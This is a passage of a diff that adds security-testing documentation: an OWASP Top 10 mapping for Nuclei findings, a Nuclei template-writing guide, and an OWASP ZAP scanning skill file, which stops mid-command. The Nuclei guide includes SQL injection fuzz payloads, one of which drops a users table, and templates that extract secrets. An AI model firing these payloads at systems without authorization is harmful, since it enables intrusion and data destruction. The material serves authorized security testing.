endpoints + +### Remediation Priority +**Critical** - Immediate action required for exposed admin panels and authentication bypasses + +## A02:2021 - Cryptographic Failures + +### Nuclei Template Tags +- `ssl` - SSL/TLS configuration issues +- `weak-crypto` - Weak cryptographic implementations +- `exposed-keys` - Exposed cryptographic keys + +### Common Findings +- **Weak TLS Versions**: TLS 1.0, TLS 1.1 still enabled +- **Weak Cipher Suites**: RC4, DES, 3DES in use +- **Missing HSTS**: HTTP Strict Transport Security not configured +- **Self-Signed Certificates**: Invalid or self-signed SSL certificates +- **Exposed Private Keys**: Private keys in public repositories or directories + +### Remediation Priority +**High** - Update to TLS 1.2+ and modern cipher suites + +## A03:2021 - Injection + +### Nuclei Template Tags +- `sqli` - SQL Injection +- `xss` - Cross-Site Scripting +- `xxe` - XML External Entity +- `ssti` - Server-Side Template Injection +- `nosqli` - NoSQL Injection +- `cmdi` - Command Injection + +### Common Findings +- **SQL Injection**: User input reflected in database queries +- **Cross-Site Scripting (XSS)**: Reflected, Stored, and DOM-based XSS +- **Command Injection**: OS command execution via user input +- **LDAP Injection**: LDAP query manipulation +- **Template Injection**: Server-side template injection in Jinja2, Twig, etc. + +### Remediation Priority +**Critical** - SQL Injection and Command Injection require immediate remediation + +## A04:2021 - Insecure Design + +### Nuclei Template Tags +- `logic` - Business logic flaws +- `workflow` - Workflow bypass vulnerabilities + +### Common Findings +- **Rate Limiting Bypass**: Missing rate limiting on authentication endpoints +- **Workflow Bypass**: Steps in business processes can be skipped +- **Insufficient Resource Allocation**: No limits on resource consumption +- **Unvalidated Redirects**: Open redirect vulnerabilities + +### Remediation Priority +**Medium to High** - Depends on business impact and exploitability + +## A05:2021 - Security Misconfiguration + +### Nuclei Template Tags +- `misconfig` - Generic misconfigurations +- `headers` - Missing security headers +- `cors` - CORS misconfigurations +- `debug` - Debug modes enabled in production + +### Common Findings +- **Missing Security Headers**: + - `Content-Security-Policy` + - `X-Frame-Options` + - `X-Content-Type-Options` + - `Strict-Transport-Security` +- **CORS Misconfiguration**: `Access-Control-Allow-Origin: *` +- **Debug Mode Enabled**: Stack traces, verbose errors in production +- **Default Configurations**: Unchanged default credentials and settings +- **Directory Indexing**: Apache/Nginx directory listing enabled + +### Remediation Priority +**Medium** - Apply hardening configurations and remove debug modes + +## A06:2021 - Vulnerable and Outdated Components + +### Nuclei Template Tags +- `cve` - Known CVE vulnerabilities +- `eol` - End-of-life software +- `outdated` - Outdated software versions + +### Common Findings +- **Known CVEs**: Outdated libraries with public CVEs (Log4Shell, Spring4Shell, etc.) +- **End-of-Life Software**: Unsupported versions of frameworks and libraries +- **Vulnerable JavaScript Libraries**: jQuery, Angular, React with known vulnerabilities +- **CMS Vulnerabilities**: WordPress, Drupal, Joomla plugin vulnerabilities + +### Remediation Priority +**Critical to High** - Patch immediately based on CVSS score and exploitability + +### Example CVE Mappings +``` +CVE-2021-44228 (Log4Shell) → Critical → A06 +CVE-2022-22965 (Spring4Shell) → Critical → A06 +CVE-2017-5638 (Struts2 RCE) → Critical → A06 +CVE-2021-26855 (Exchange ProxyLogon) → Critical → A06 +``` + +## A07:2021 - Identification and Authentication Failures + +### Nuclei Template Tags +- `auth` - Authentication issues +- `jwt` - JWT vulnerabilities +- `oauth` - OAuth misconfigurations +- `default-logins` - Default credentials +- `session` - Session management issues + +### Common Findings +- **Default Credentials**: Admin/admin, root/root, default passwords +- **Weak Password Policies**: No complexity requirements +- **Session Fixation**: Session tokens not regenerated after login +- **JWT Vulnerabilities**: `alg=none` bypass, weak signing keys +- **Missing MFA**: No multi-factor authentication for privileged accounts +- **Predictable Session IDs**: Sequential or easily guessable tokens + +### Remediation Priority +**High** - Change default credentials immediately, enforce strong password policies + +## A08:2021 - Software and Data Integrity Failures + +### Nuclei Template Tags +- `rce` - Remote Code Execution +- `deserialization` - Insecure deserialization +- `integrity` - Integrity check failures + +### Common Findings +- **Insecure Deserialization**: Unsafe object deserialization in Java, Python, PHP +- **Unsigned Updates**: Software updates without signature verification +- **CI/CD Pipeline Compromise**: Insufficient pipeline security controls +- **Dependency Confusion**: Private packages replaced by public malicious packages + +### Remediation Priority +**Critical** - Insecure deserialization leading to RCE requires immediate action + +## A09:2021 - Security Logging and Monitoring Failures + +### Nuclei Template Tags +- `logging` - Logging issues +- `monitoring` - Monitoring gaps + +### Common Findings +- **Missing Audit Logs**: Authentication failures, access control violations not logged +- **Insufficient Log Retention**: Logs deleted too quickly for forensic analysis +- **No Alerting**: No real-time alerts for suspicious activities +- **Log Injection**: User input reflected in logs without sanitization + +### Remediation Priority +**Low to Medium** - Improve logging and monitoring infrastructure + +## A10:2021 - Server-Side Request Forgery (SSRF) + +### Nuclei Template Tags +- `ssrf` - SSRF vulnerabilities +- `redirect` - Open redirect issues + +### Common Findings +- **SSRF via URL Parameters**: User-controlled URLs fetched by server +- **Cloud Metadata Access**: SSRF accessing AWS/GCP/Azure metadata endpoints +- **Internal Port Scanning**: SSRF used to scan internal networks +- **Webhook Vulnerabilities**: SSRF via webhook URLs + +### Remediation Priority +**High to Critical** - Especially if cloud metadata or internal services accessible + +## Severity Mapping Guide + +Use this table to map Nuclei severity levels to OWASP categories: + +| Nuclei Severity | OWASP Priority | Action Required | +|-----------------|----------------|-----------------| +| **Critical** | P0 - Immediate | Patch within 24 hours | +| **High** | P1 - Urgent | Patch within 7 days | +| **Medium** | P2 - Important | Patch within 30 days | +| **Low** | P3 - Normal | Patch in next release cycle | +| **Info** | P4 - Informational | Document and track | + +## Integration with Security Workflows + +### Finding Triage Process +1. **Critical/High Findings**: Assign to security team immediately +2. **Verify Exploitability**: Confirm with manual testing +3. **Map to OWASP**: Use this guide to categorize findings +4. **Assign Remediation Owner**: Development team or infrastructure team +5. **Track in JIRA/GitHub**: Create tickets with OWASP category labels +6. **Re-scan After Fix**: Verify vulnerability is resolved + +### Reporting Template +```markdown +## Security Finding: [Nuclei Template ID] + +**OWASP Category**: A03:2021 - Injection +**Severity**: Critical +**CWE**: CWE-89 (SQL Injection) +**CVE**: CVE-2024-XXXXX (if applicable) + +### Description +[Description from Nuclei output] + +### Affected URLs +- https://target-app.com/api/users?id=1 + +### Remediation +Use parameterized queries instead of string concatenation. + +### References +- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html) +``` + +## Additional Resources + +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) +- [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates) diff --git a/skills/appsec/dast-nuclei/references/template_development.md b/skills/appsec/dast-nuclei/references/template_development.md new file mode 100644 index 0000000..dd93961 --- /dev/null +++ b/skills/appsec/dast-nuclei/references/template_development.md @@ -0,0 +1,637 @@ +# Nuclei Template Development Guide + +## Table of Contents +- [Template Structure](#template-structure) +- [Template Types](#template-types) +- [Matchers and Extractors](#matchers-and-extractors) +- [Advanced Techniques](#advanced-techniques) +- [Testing and Validation](#testing-and-validation) +- [Best Practices](#best-practices) + +## Template Structure + +### Basic Template Anatomy + +```yaml +id: unique-template-id +info: + name: Human-readable template name + author: your-name + severity: critical|high|medium|low|info + description: Detailed description of what this template detects + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX + - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX + tags: cve,owasp,misconfig,custom + +# Template type: http, dns, network, file, etc. +http: + - method: GET + path: + - "{{BaseURL}}/vulnerable-endpoint" + + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "vulnerable signature" +``` + +### Required Fields + +- **id**: Unique identifier (kebab-case, organization-scoped for custom templates) +- **info.name**: Clear, descriptive name +- **info.author**: Template author +- **info.severity**: One of: critical, high, medium, low, info +- **info.description**: What vulnerability this detects +- **info.tags**: Searchable tags for filtering + +### Optional but Recommended Fields + +- **info.reference**: Links to CVE, advisories, documentation +- **info.classification**: CWE, CVE, OWASP mappings +- **info.metadata**: Additional metadata (max-request, verified, etc.) + +## Template Types + +### HTTP Templates + +Most common template type for web application testing: + +```yaml +id: http-example +info: + name: HTTP Template Example + author: security-team + severity: high + tags: web,http + +http: + - method: GET + path: + - "{{BaseURL}}/api/users" + - "{{BaseURL}}/api/admin" + + headers: + Authorization: "Bearer {{token}}" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "\"role\":\"admin\"" + - "sensitive_data" + + extractors: + - type: regex + name: user_ids + regex: + - '"id":([0-9]+)' +``` + +### DNS Templates + +Test for DNS misconfigurations and subdomain takeovers: + +```yaml +id: dns-takeover-check +info: + name: DNS Subdomain Takeover Detection + author: security-team + severity: high + tags: dns,takeover + +dns: + - name: "{{FQDN}}" + type: CNAME + + matchers: + - type: word + words: + - "amazonaws.com" + - "azurewebsites.net" + - "herokuapp.com" +``` + +### Network Templates + +TCP/UDP port scanning and service detection: + +```yaml +id: exposed-redis +info: + name: Exposed Redis Instance + author: security-team + severity: critical + tags: network,redis,exposure + +network: + - inputs: + - data: "*1\r\n$4\r\ninfo\r\n" + + host: + - "{{Hostname}}" + - "{{Hostname}}:6379" + + matchers: + - type: word + words: + - "redis_version" +``` + +## Matchers and Extractors + +### Matcher Types + +#### Status Matcher +```yaml +matchers: + - type: status + status: + - 200 + - 201 + condition: or +``` + +#### Word Matcher +```yaml +matchers: + - type: word + part: body # body, header, all + words: + - "error" + - "exception" + condition: and + case-insensitive: true +``` + +#### Regex Matcher +```yaml +matchers: + - type: regex + regex: + - "(?i)password\\s*=\\s*['\"]([^'\"]+)['\"]" + part: body +``` + +#### Binary Matcher +```yaml +matchers: + - type: binary + binary: + - "504B0304" # ZIP file signature (hex) + part: body +``` + +#### DSL Matcher (Dynamic Expressions) +```yaml +matchers: + - type: dsl + dsl: + - "status_code == 200 && len(body) > 1000" + - "contains(tolower(body), 'admin')" +``` + +### Matcher Conditions + +- **and**: All matchers must match +- **or**: At least one matcher must match (default) + +```yaml +matchers-condition: and +matchers: + - type: status + status: + - 200 + - type: word + words: + - "admin" +``` + +### Extractors + +Extract data from responses for reporting or chaining: + +#### Regex Extractor +```yaml +extractors: + - type: regex + name: api_keys + part: body + regex: + - 'api[_-]?key["\s:=]+([a-zA-Z0-9_-]{32,})' + group: 1 +``` + +#### JSON Extractor +```yaml +extractors: + - type: json + name: user_data + json: + - ".users[].email" + - ".users[].id" +``` + +#### XPath Extractor +```yaml +extractors: + - type: xpath + name: titles + xpath: + - "//title" +``` + +## Advanced Techniques + +### Request Chaining (Workflows) + +Execute templates in sequence, passing data between them: + +```yaml +id: workflow-example +info: + name: Multi-Step Authentication Test + author: security-team + +workflows: + templates: + - template: login.yaml + - template: fetch-user-data.yaml +``` + +**login.yaml**: +```yaml +id: login-template +info: + name: Login and Extract Token + author: security-team + severity: info + +http: + - method: POST + path: + - "{{BaseURL}}/api/login" + + body: '{"username":"test","password":"test"}' + + extractors: + - type: json + name: auth_token + json: + - ".token" + internal: true # Pass to next template +``` + +### Variables and Helpers + +Use dynamic variables and helper functions: + +```yaml +http: + - method: GET + path: + - "{{BaseURL}}/api/users/{{username}}" + + # Available variables: + # {{BaseURL}}, {{Hostname}}, {{Host}}, {{Port}}, {{Path}} + # {{RootURL}}, {{Scheme}}, {{username}} (from previous extractor) + + matchers: + - type: dsl + dsl: + # Helper functions: len(), contains(), regex_match(), etc. + - 'len(body) > 500' + - 'contains(tolower(header), "x-api-key")' + - 'status_code >= 200 && status_code < 300' +``` + +### Payloads and Fuzzing + +Use payload files for fuzzing: + +```yaml +id: sqli-fuzzing +info: + name: SQL Injection Fuzzing + author: security-team + severity: critical + +http: + - method: GET + path: + - "{{BaseURL}}/api/users?id={{payload}}" + + payloads: + payload: + - "1' OR '1'='1" + - "1' UNION SELECT NULL--" + - "'; DROP TABLE users--" + + matchers: + - type: word + words: + - "SQL syntax" + - "mysql_fetch" + - "ORA-01756" +``` + +Or use external payload file: + +```yaml +payloads: + payload: payloads/sql-injection.txt + +attack: clusterbomb # pitchfork, clusterbomb, batteringram +``` + +### Rate Limiting and Threads + +Control request rate to avoid overwhelming targets: + +```yaml +id: rate-limited-scan +info: + name: Rate-Limited Vulnerability Scan + author: security-team + severity: medium + metadata: + max-request: 50 # Maximum requests per template execution + +http: + - method: GET + path: + - "{{BaseURL}}/api/endpoint" + + threads: 5 # Concurrent requests (default: 25) +``` + +## Testing and Validation + +### Local Testing + +Test templates against local test servers: + +```bash +# Test single template +nuclei -t custom-templates/my-template.yaml -u http://localhost:8080 -debug + +# Validate template syntax +nuclei -t custom-templates/my-template.yaml -validate + +# Test with verbose output +nuclei -t custom-templates/my-template.yaml -u https://target.com -verbose +``` + +### Template Validation + +Use the bundled validation script: + +```bash +python3 scripts/template_validator.py custom-templates/my-template.yaml +``` + +### Test Lab Setup + +Create a vulnerable test application for template development: + +```bash +# Use DVWA (Damn Vulnerable Web Application) +docker run -d -p 80:80 vulnerables/web-dvwa + +# Or OWASP Juice Shop +docker run -d -p 3000:3000 bkimminich/juice-shop +``` + +## Best Practices + +### 1. Accurate Severity Classification + +- **Critical**: RCE, authentication bypass, full system compromise +- **High**: SQL injection, XSS, significant data exposure +- **Medium**: Missing security headers, information disclosure +- **Low**: Minor misconfigurations, best practice violations +- **Info**: Technology detection, non-security findings + +### 2. Minimize False Positives + +```yaml +# Use multiple matchers with AND condition +matchers-condition: and +matchers: + - type: status + status: + - 200 + + - type: word + words: + - "admin" + - "dashboard" + condition: and + + - type: regex + regex: + - '.*Admin.*Panel.*' + case-insensitive: true +``` + +### 3. Clear Naming Conventions + +- **id**: `organization-vulnerability-type-identifier` + - Example: `acme-api-key-exposure-config` +- **name**: Descriptive, clear purpose + - Example: "ACME Corp API Key Exposure in Config Endpoint" + +### 4. Comprehensive Documentation + +```yaml +info: + name: Detailed Template Name + description: | + Comprehensive description of what this template detects, + why it's important, and how it works. + + References: + - CVE-2024-XXXXX + - Internal ticket: SEC-1234 + + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-XXXXX + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-XXXXX + + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-XXXXX + cwe-id: CWE-89 + + metadata: + verified: true + max-request: 10 + shodan-query: 'http.title:"Admin Panel"' + + tags: cve,owasp,sqli,high-severity,verified +``` + +### 5. Responsible Testing Parameters + +```yaml +# Avoid aggressive fuzzing in default templates +info: + metadata: + max-request: 10 # Limit total requests + +http: + - method: GET + threads: 5 # Limit concurrent requests + + # Use specific, targeted payloads + payloads: + test: ["safe-payload-1", "safe-payload-2"] +``` + +### 6. Error Handling + +```yaml +http: + - method: GET + path: + - "{{BaseURL}}/api/test" + + # Handle various response scenarios + matchers: + - type: dsl + dsl: + - "status_code == 200 && contains(body, 'vulnerable')" + - "status_code == 500 && contains(body, 'error')" + condition: or + + # Negative matchers (must NOT match) + matchers: + - type: word + negative: true + words: + - "404 Not Found" + - "403 Forbidden" +``` + +### 7. Template Organization + +``` +custom-templates/ +├── api/ +│ ├── api-key-exposure.yaml +│ ├── graphql-introspection.yaml +│ └── rest-api-misconfig.yaml +├── cves/ +│ ├── 2024/ +│ │ ├── CVE-2024-12345.yaml +│ │ └── CVE-2024-67890.yaml +├── exposures/ +│ ├── sensitive-files.yaml +│ └── backup-exposure.yaml +└── misconfig/ + ├── cors-misconfiguration.yaml + └── debug-mode-enabled.yaml +``` + +### 8. Version Control and Maintenance + +- Use Git to track template changes +- Tag templates with version numbers in metadata +- Document changes in template comments +- Regularly test templates against updated applications + +```yaml +info: + metadata: + version: 1.2.0 + last-updated: 2024-11-20 + changelog: | + 1.2.0 - Added additional matcher for new vulnerability variant + 1.1.0 - Improved regex pattern to reduce false positives + 1.0.0 - Initial release +``` + +## Example: Complete Custom Template + +```yaml +id: acme-corp-api-debug-exposure +info: + name: ACME Corp API Debug Endpoint Exposure + author: acme-security-team + severity: high + description: | + Detects exposed debug endpoint in ACME Corp API that leaks + sensitive configuration including database credentials, + API keys, and internal service URLs. + + reference: + - https://internal-wiki.acme.com/security/SEC-1234 + + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-200 + + metadata: + verified: true + max-request: 3 + version: 1.0.0 + + tags: acme,api,exposure,debug,high-severity + +http: + - method: GET + path: + - "{{BaseURL}}/api/v1/debug/config" + - "{{BaseURL}}/api/v2/debug/config" + - "{{BaseURL}}/debug/config" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "database_url" + - "api_secret_key" + condition: or + + - type: regex + part: body + regex: + - '"(password|secret|token)":\s*"[^"]+"' + + extractors: + - type: regex + name: exposed_secrets + part: body + regex: + - '"(database_url|api_secret_key|jwt_secret)":\s*"([^"]+)"' + group: 2 + + - type: json + name: config_data + json: + - ".database_url" + - ".api_secret_key" +``` + +## Resources + +- [Official Nuclei Template Guide](https://docs.projectdiscovery.io/templates/introduction) +- [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates) +- [Template Editor](https://templates.nuclei.sh/) +- [DSL Functions Reference](https://docs.projectdiscovery.io/templates/reference/matchers#dsl-matcher) diff --git a/skills/appsec/dast-zap/SKILL.md b/skills/appsec/dast-zap/SKILL.md new file mode 100644 index 0000000..68942d2 --- /dev/null +++ b/skills/appsec/dast-zap/SKILL.md @@ -0,0 +1,444 @@ +--- +name: dast-zap +description: > + Dynamic application security testing (DAST) using OWASP ZAP (Zed Attack Proxy) with passive and active scanning, + API testing, and OWASP Top 10 vulnerability detection. Use when: (1) Performing runtime security testing of web + applications and APIs, (2) Detecting vulnerabilities like XSS, SQL injection, and authentication flaws in deployed + applications, (3) Automating security scans in CI/CD pipelines with Docker containers, (4) Conducting authenticated + testing with session management, (5) Generating security reports with OWASP and CWE mappings for compliance. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [dast, zap, web-security, owasp, vulnerability-scanning, api-testing, penetration-testing] +frameworks: [OWASP, CWE] +dependencies: + tools: [docker] + optional: [python3, java] +references: + - https://www.zaproxy.org/docs/ + - https://www.zaproxy.org/docs/docker/ + - https://www.zaproxy.org/docs/desktop/start/features/ +--- + +# DAST with OWASP ZAP + +## Overview + +OWASP ZAP (Zed Attack Proxy) is an open-source DAST tool that acts as a manipulator-in-the-middle proxy to intercept, +inspect, and test web application traffic for security vulnerabilities. ZAP provides automated passive and active +scanning, API testing capabilities, and seamless CI/CD integration for runtime security testing. + +## Quick Start + +### Baseline Scan (Docker) + +Run a quick passive security scan: + +```bash +docker run -t zaproxy/zap-stable zap-baseline.py -t https://target-app.com -r baseline-report.html +``` + +### Full Active Scan (Docker) + +Perform comprehensive active vulnerability testing: + +```bash +docker run -t zaproxy/zap-stable zap-full-scan.py -t https://target-app.com -r full-scan-report.html +``` + +### API Scan with OpenAPI Spec + +Test APIs using OpenAPI/Swagger specification: + +```bash +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.target.com \ + -f openapi \ + -d /zap/wrk/openapi-spec.yaml \ + -r /zap/wrk/api-report.html +``` + +## Core Workflow + +### Step 1: Define Scan Scope and Target + +Identify the target application URL and define scope: + +```bash +# Set target URL +TARGET_URL="https://target-app.com" + +# For authenticated scans, prepare authentication context +# See references/authentication_guide.md for detailed setup +``` + +**Scope Considerations:** +- Exclude third-party domains and CDN URLs +- Include all application subdomains and API endpoints +- Respect scope limitations in penetration testing engagements + +### Step 2: Run Passive Scanning + +Execute passive scanning to analyze traffic without active attacks: + +```bash +# Baseline scan performs spidering + passive scanning +docker run -t zaproxy/zap-stable zap-baseline.py \ + -t $TARGET_URL \ + -r baseline-report.html \ + -J baseline-report.json +``` + +**What Passive Scanning Detects:** +- Missing security headers (CSP, HSTS, X-Frame-Options) +- Information disclosure in responses +- Cookie security issues (HttpOnly, Secure flags) +- Basic authentication weaknesses +- Application fingerprinting data + +### Step 3: Execute Active Scanning + +Perform active vulnerability testing (requires authorization): + +```bash +# Full scan includes spidering + passive + active scanning +docker run -t zaproxy/zap-stable zap-full-scan.py \ + -t $TARGET_URL \ + -r full-scan-report.html \ + -J full-scan-report.json \ + -z "-config api.addrs.addr.name=.* -config api.addrs.addr.regex=true" +``` + +**Active Scanning Coverage:** +- SQL Injection (SQLi) +- Cross-Site Scripting (XSS) +- Path Traversal +- Command Injection +- XML External Entity (XXE) +- Server-Side Request Forgery (SSRF) +- Security Misconfigurations + +**WARNING:** Active scanning performs real attacks. Only run against applications you have explicit authorization to test. + +### Step 4: Test APIs with Specifications + +Scan REST, GraphQL, and SOAP APIs: + +```bash +# OpenAPI/Swagger API scan +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.target.com \ + -f openapi \ + -d /zap/wrk/openapi.yaml \ + -r /zap/wrk/api-report.html + +# GraphQL API scan +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.target.com/graphql \ + -f graphql \ + -d /zap/wrk/schema.graphql \ + -r /zap/wrk/graphql-report.html +``` + +Consult `references/api_testing_guide.md` for advanced API testing patterns including authentication and rate limiting. + +### Step 5: Handle Authentication + +For testing authenticated application areas: + +```bash +# Use bundled script for authentication setup +python3 scripts/zap_auth_scanner.py \ + --target $TARGET_URL \ + --auth-type form \ + --login-url https://target-app.com/login \ + --username testuser \ + --password-env ZAP_AUTH_PASSWORD \ + --output auth-scan-report.html +``` + +Authentication methods supported: +- Form-based authentication +- HTTP Basic/Digest authentication +- OAuth 2.0 flows +- API key/token authentication +- Script-based custom authentication + +See `references/authentication_guide.md` for detailed authentication configuration. + +### Step 6: Analyze Results and Generate Reports + +Review findings by risk level: + +```bash +# Generate multiple report formats +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \ + -t $TARGET_URL \ + -r /zap/wrk/report.html \ + -J /zap/wrk/report.json \ + -x /zap/wrk/report.xml +``` + +**Risk Levels:** +- **High**: Critical vulnerabilities requiring immediate remediation (SQLi, RCE, authentication bypass) +- **Medium**: Significant security weaknesses (XSS, CSRF, sensitive data exposure) +- **Low**: Security concerns with lower exploitability (information disclosure, minor misconfigurations) +- **Informational**: Security best practices and observations + +Map findings to OWASP Top 10 using `references/owasp_mapping.md`. + +## Automation & CI/CD Integration + +### GitHub Actions Integration + +Add ZAP scanning to GitHub workflows: + +```yaml +# .github/workflows/zap-scan.yml +name: ZAP Security Scan +on: [push, pull_request] + +jobs: + zap_scan: + runs-on: ubuntu-latest + name: OWASP ZAP Baseline Scan + steps: + - name: Checkout + uses: actions/checkout@v2 + + - name: ZAP Baseline Scan + uses: zaproxy/action-baseline@v0.7.0 + with: + target: 'https://staging.target-app.com' + rules_file_name: '.zap/rules.tsv' + cmd_options: '-a' +``` + +### Docker Automation Framework + +Use YAML-based automation for advanced workflows: + +```bash +# Create automation config (see assets/zap_automation.yaml) +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable \ + zap.sh -cmd -autorun /zap/wrk/zap_automation.yaml +``` + +The bundled `assets/zap_automation.yaml` template includes: +- Environment configuration +- Spider and AJAX spider settings +- Passive and active scan policies +- Authentication configuration +- Report generation + +### CI/CD Best Practices + +- Use **baseline scans** for every commit/PR (low false positives) +- Run **full scans** on staging environments before production deployment +- Configure **API scans** for microservices and REST endpoints +- Set **failure thresholds** to break builds on high-severity findings +- Generate **SARIF reports** for GitHub Security tab integration + +See `scripts/ci_integration.sh` for complete CI/CD integration examples. + +## Security Considerations + +- **Authorization**: Always obtain written authorization before scanning production systems or third-party applications +- **Rate Limiting**: Configure scan speed to avoid overwhelming target applications or triggering DDoS protections +- **Sensitive Data**: Never include production credentials in scan configurations; use environment variables or secrets management +- **Scan Timing**: Run active scans during maintenance windows or against dedicated testing environments +- **Legal Compliance**: Adhere to computer fraud and abuse laws; unauthorized scanning may be illegal +- **Audit Logging**: Log all scan executions, targets, findings, and remediation actions for compliance audits +- **Data Retention**: Sanitize scan reports before sharing; they may contain sensitive application data +- **False Positives**: Manually verify findings before raising security incidents; DAST tools generate false positives + +## Bundled Resources + +### Scripts (`scripts/`) + +- `zap_baseline_scan.sh` - Automated baseline scanning with configurable targets and reporting +- `zap_full_scan.sh` - Comprehensive active scanning with exclusion rules +- `zap_api_scan.py` - API testing with OpenAPI/GraphQL specification support +- `zap_auth_scanner.py` - Authenticated scanning with multiple authentication methods +- `ci_integration.sh` - CI/CD integration examples for Jenkins, GitLab CI, GitHub Actions + +### References (`references/`) + +- `authentication_guide.md` - Complete authentication configuration for form-based, OAuth, and token authentication +- `owasp_mapping.md` - Mapping of ZAP alerts to OWASP Top 10 2021 and CWE classifications +- `api_testing_guide.md` - Advanced API testing patterns for REST, GraphQL, SOAP, and WebSocket +- `scan_policies.md` - Custom scan policy configuration for different application types +- `false_positive_handling.md` - Common false positives and verification techniques + +### Assets (`assets/`) + +- `zap_automation.yaml` - Automation framework configuration template +- `zap_context.xml` - Context configuration with authentication and session management +- `scan_policy_modern_web.policy` - Scan policy optimized for modern JavaScript applications +- `scan_policy_api.policy` - Scan policy for REST and GraphQL APIs +- `github_action.yml` - GitHub Actions workflow template +- `gitlab_ci.yml` - GitLab CI pipeline template + +## Common Patterns + +### Pattern 1: Progressive Scanning (Speed vs. Coverage) + +Start with fast scans and progressively increase depth: + +```bash +# Stage 1: Quick baseline scan (5-10 minutes) +docker run -t zaproxy/zap-stable zap-baseline.py -t $TARGET_URL -r baseline.html + +# Stage 2: Full spider + passive scan (15-30 minutes) +docker run -t zaproxy/zap-stable zap-baseline.py -t $TARGET_URL -r baseline.html -c baseline-rules.tsv + +# Stage 3: Targeted active scan on critical endpoints (1-2 hours) +docker run -t zaproxy/zap-stable zap-full-scan.py -t $TARGET_URL -r full.html -c full-rules.tsv +``` + +### Pattern 2: API-First Testing + +Prioritize API security testing: + +```bash +# 1. Test API endpoints with specification +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-api-scan.py \ + -t https://api.target.com -f openapi -d /zap/wrk/openapi.yaml -r /zap/wrk/api.html + +# 2. Run active scan on discovered API endpoints +# (ZAP automatically includes spidered API routes) + +# 3. Test authentication flows +python3 scripts/zap_auth_scanner.py --target https://api.target.com --auth-type bearer --token-env API_TOKEN +``` + +### Pattern 3: Authenticated Web Application Testing + +Test complete application including protected areas: + +```bash +# 1. Configure authentication context +# See assets/zap_context.xml for template + +# 2. Run authenticated scan +python3 scripts/zap_auth_scanner.py \ + --target https://app.target.com \ + --auth-type form \ + --login-url https://app.target.com/login \ + --username testuser \ + --password-env APP_PASSWORD \ + --verification-url https://app.target.com/dashboard \ + --output authenticated-scan.html + +# 3. Review session-specific vulnerabilities (CSRF, privilege escalation) +``` + +### Pattern 4: CI/CD Security Gate + +Implement ZAP as a security gate in deployment pipelines: + +```bash +# Run baseline scan and fail build on high-risk findings +docker run -t zaproxy/zap-stable zap-baseline.py \ + -t https://staging.target.com \ + -r baseline-report.html \ + -J baseline-report.json \ + --hook=scripts/ci_integration.sh + +# Check exit code +if [ $? -ne 0 ]; then + echo "Security scan failed! High-risk vulnerabilities detected." + exit 1 +fi +``` + +## Integration Points + +- **CI/CD**: GitHub Actions, GitLab CI, Jenkins, Azure DevOps, CircleCI +- **Issue Tracking**: Jira, GitHub Issues (via SARIF), ServiceNow +- **Security Tools**: Defect Dojo (vulnerability management), SonarQube, OWASP Dependency-Check +- **SDLC**: Pre-production testing phase, security regression testing, penetration testing preparation +- **Authentication**: Integrates with OAuth providers, SAML, API gateways, custom authentication scripts +- **Reporting**: HTML, JSON, XML, Markdown, SARIF (for GitHub Security), PDF (via custom scripts) + +## Troubleshooting + +### Issue: Docker Container Cannot Reach Target Application + +**Solution**: For scanning applications running on localhost or in other containers: + +```bash +# Scanning host application from Docker container +# Use docker0 bridge IP instead of localhost +HOST_IP=$(ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+') +docker run -t zaproxy/zap-stable zap-baseline.py -t http://$HOST_IP:8080 + +# Scanning between containers - create shared network +docker network create zap-network +docker run --network zap-network -t zaproxy/zap-stable zap-baseline.py -t http://app-container:8080 +``` + +### Issue: Scan Completes Too Quickly (Incomplete Coverage) + +**Solution**: Increase spider depth and scan duration: + +```bash +# Configure spider to crawl deeper +docker run -t zaproxy/zap-stable zap-baseline.py \ + -t $TARGET_URL \ + -r report.html \ + -z "-config spider.maxDepth=10 -config spider.maxDuration=60" +``` + +For JavaScript-heavy applications, use AJAX spider or Automation Framework. + +### Issue: High False Positive Rate + +**Solution**: Create custom scan policy and rules file: + +```bash +# Use bundled false positive handling guide +# See references/false_positive_handling.md + +# Generate rules file to suppress false positives +# Format: alert_id URL_pattern parameter CWE_id WARN|IGNORE|FAIL +echo "10202 https://target.com/static/.* .* 798 IGNORE" >> .zap/rules.tsv + +docker run -t zaproxy/zap-stable zap-baseline.py -t $TARGET_URL -c .zap/rules.tsv +``` + +### Issue: Authentication Session Expires During Scan + +**Solution**: Configure session re-authentication: + +```bash +# Use bundled authentication script with session monitoring +python3 scripts/zap_auth_scanner.py \ + --target $TARGET_URL \ + --auth-type form \ + --login-url https://target.com/login \ + --username testuser \ + --password-env PASSWORD \ + --re-authenticate-on 401,403 \ + --verification-interval 300 +``` + +### Issue: Scan Triggering Rate Limiting or WAF Blocking + +**Solution**: Reduce scan aggressiveness: + +```bash +# Slower scan with delays between requests +docker run -t zaproxy/zap-stable zap-baseline.py \ + -t $TARGET_URL \ + -r report.html \ + -z "-config 